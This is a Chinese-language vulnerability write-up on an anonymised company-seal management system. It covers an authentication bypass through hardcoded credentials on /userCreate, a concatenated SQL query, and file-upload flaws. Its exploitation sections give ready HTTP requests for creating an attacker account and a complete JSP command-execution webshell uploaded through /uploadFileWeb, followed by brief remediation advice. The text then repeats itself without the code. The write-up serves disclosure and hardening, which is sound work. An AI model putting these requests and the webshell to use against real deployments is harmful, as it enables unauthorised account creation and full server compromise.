某管家公章管理系统审计记录
字数 968 2025-09-01 11:26:17

某管家公章管理系统安全审计与漏洞分析

系统概述

某管家公章管理系统存在多个安全漏洞,包括认证绕过和文件上传漏洞,可能导致未授权用户创建账户并获取系统权限。

漏洞分析

1. 用户创建接口认证绕过

漏洞路径

  • /userCreate 路由

漏洞详情

  1. 认证检查:

    • 系统通过 checkUnamePass 方法进行认证
    • 要求 bimRemoteUserZGJ
    • 要求 bimRemotePwd123456
  2. SQL查询条件:

    String sql = "select * from department where orgId = '" + orgId + "'";
    
    • 需要传入有效的 orgId 使 departmentList 不为空
  3. 用户创建流程:

    • 认证通过后可直接创建新用户

利用方法

  1. 首先获取有效的 orgId:

    • 通过另一个未授权接口获取系统中存在的 orgId
  2. 使用获取的 orgId 构造请求创建用户:

    POST /userCreate HTTP/1.1
    Host: target.com
    Content-Type: application/json
    
    {
      "bimRemoteUser": "ZGJ",
      "bimRemotePwd": "123456",
      "orgId": "获取到的有效orgId",
      "username": "attacker",
      "password": "hacked123"
    }
    
  3. 使用创建的用户凭据登录系统

2. 文件上传漏洞

系统存在多个文件上传点,可被用于获取WebShell。

漏洞点1: Logo上传

  1. 上传处理:

    • 使用 Base64StrToImage.base64MutipartFile 方法
    • 将Base64编码的图像字符串转换为 MultipartFile 对象
  2. 上传格式:

    data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...
    
  3. 返回信息:

    • 上传成功后返回文件具体路径
  4. 利用方法:

    • 构造恶意Base64编码的JSP文件上传
    • 访问返回的路径执行WebShell

漏洞点2: 通用文件上传

  1. 可控参数:

    • moudleDir: 控制上传目录
    • 最终路径格式: /[moudleDir]/年/年-月/年-月-日/
  2. 文件命名:

    • 使用UUID格式: eca21ae6-61c3-4fd7-9903-93d7a0eb2166
    • 需要爆破文件名
  3. 利用方法:

    POST /uploadFileWeb HTTP/1.1
    Host: target.com
    Content-Type: multipart/form-data
    
    --boundary
    Content-Disposition: form-data; name="moudleDir"
    
    /data/upload/
    --boundary
    Content-Disposition: form-data; name="file"; filename="shell.jsp"
    
    <%@page import="java.util.*,java.io.*"%>
    <%
    if(request.getParameter("cmd")!=null){
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while(disr!=null){
            out.println(disr);
            disr=dis.readLine();
        }
    }
    %>
    --boundary--
    

防御建议

  1. 认证绕过修复:

    • 实现严格的认证机制
    • 不要使用硬编码凭据
    • 对敏感操作实施多因素认证
  2. SQL注入防护:

    • 使用参数化查询
    • 实施最小权限原则
  3. 文件上传安全:

    • 验证文件类型和内容
    • 限制上传目录不可执行
    • 随机化文件名并记录上传日志
    • 对上传文件进行病毒扫描
  4. 系统加固:

    • 定期安全审计
    • 更新依赖库
    • 实施WAF防护

总结

该公章管理系统存在严重的安全隐患,攻击者可利用认证绕过漏洞创建管理员账户,再通过文件上传漏洞获取服务器控制权。建议立即修复这些漏洞并加强系统安全防护措施。

某管家公章管理系统安全审计与漏洞分析 系统概述 某管家公章管理系统存在多个安全漏洞,包括认证绕过和文件上传漏洞,可能导致未授权用户创建账户并获取系统权限。 漏洞分析 1. 用户创建接口认证绕过 漏洞路径 /userCreate 路由 漏洞详情 认证检查 : 系统通过 checkUnamePass 方法进行认证 要求 bimRemoteUser 为 ZGJ 要求 bimRemotePwd 为 123456 SQL查询条件 : 需要传入有效的 orgId 使 departmentList 不为空 用户创建流程 : 认证通过后可直接创建新用户 利用方法 首先获取有效的 orgId : 通过另一个未授权接口获取系统中存在的 orgId 使用获取的 orgId 构造请求创建用户: 使用创建的用户凭据登录系统 2. 文件上传漏洞 系统存在多个文件上传点,可被用于获取WebShell。 漏洞点1: Logo上传 上传处理 : 使用 Base64StrToImage.base64MutipartFile 方法 将Base64编码的图像字符串转换为 MultipartFile 对象 上传格式 : 返回信息 : 上传成功后返回文件具体路径 利用方法 : 构造恶意Base64编码的JSP文件上传 访问返回的路径执行WebShell 漏洞点2: 通用文件上传 可控参数 : moudleDir : 控制上传目录 最终路径格式: /[moudleDir]/年/年-月/年-月-日/ 文件命名 : 使用UUID格式: eca21ae6-61c3-4fd7-9903-93d7a0eb2166 需要爆破文件名 利用方法 : 防御建议 认证绕过修复 : 实现严格的认证机制 不要使用硬编码凭据 对敏感操作实施多因素认证 SQL注入防护 : 使用参数化查询 实施最小权限原则 文件上传安全 : 验证文件类型和内容 限制上传目录不可执行 随机化文件名并记录上传日志 对上传文件进行病毒扫描 系统加固 : 定期安全审计 更新依赖库 实施WAF防护 总结 该公章管理系统存在严重的安全隐患,攻击者可利用认证绕过漏洞创建管理员账户,再通过文件上传漏洞获取服务器控制权。建议立即修复这些漏洞并加强系统安全防护措施。